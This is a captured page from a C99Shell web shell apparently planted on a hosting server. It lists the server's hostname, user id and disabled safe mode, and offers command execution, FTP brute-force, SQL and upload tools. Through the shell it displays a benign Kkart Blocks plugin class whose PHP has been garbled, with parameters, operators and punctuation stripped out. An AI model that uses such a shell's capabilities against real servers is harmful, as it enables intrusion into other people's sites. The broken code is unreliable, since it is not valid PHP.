!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/kkart-blocks/src/Domain/   drwxr-xr-x
Free 293.22 GB of 429.69 GB (68.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Package.php (1.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Automattic\Kkart\Blocks\Domain;

/**
 * Main package class.
 *
 * Returns information about the package and handles init.
 *
 * @since 2.5.0
 */
class Package {

    
/**
     * Holds the current version of the blocks plugin.
     *
     * @var string
     */
    
private $version;

    
/**
     * Holds the main path to the blocks plugin directory.
     *
     * @var string
     */
    
private $path;

    
/**
     * Constructor
     *
     * @param string $version      Version of the plugin.
     * @param string $plugin_path  Path to the main plugin file.
     */
    
public function __construct$version$plugin_path ) {
        
$this->version $version;
        
$this->path    $plugin_path;
    }

    
/**
     * Returns the version of the plugin.
     *
     * @return string
     */
    
public function get_version() {
        return 
$this->version;
    }

    
/**
     * Returns the path to the plugin directory.
     *
     * @param string $relative_path  If provided, the relative path will be
     *                               appended to the plugin path.
     *
     * @return string
     */
    
public function get_path$relative_path '' ) {
        return 
trailingslashit$this->path ) . $relative_path;
    }

    
/**
     * Returns the url to the blocks plugin directory.
     *
     * @param string $relative_url If provided, the relative url will be
     *                             appended to the plugin url.
     *
     * @return string
     */
    
public function get_url$relative_url '' ) {
        
// Append index.php so WP does not return the parent directory.
        
return plugin_dir_url$this->path '/index.php' ) . $relative_url;
    }

    
/**
     * Checks if we're executing the code in an experimental build mode.
     *
     * @return boolean
     */
    
public static function is_experimental_build() {
        return 
KKART_BLOCKS_PHASE 2;
    }

    
/**
     * Checks if we're executing the code in an feature plugin or experimental build mode.
     *
     * @return boolean
     */
    
public static function is_feature_plugin_build() {
        return 
KKART_BLOCKS_PHASE 1;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0039 ]--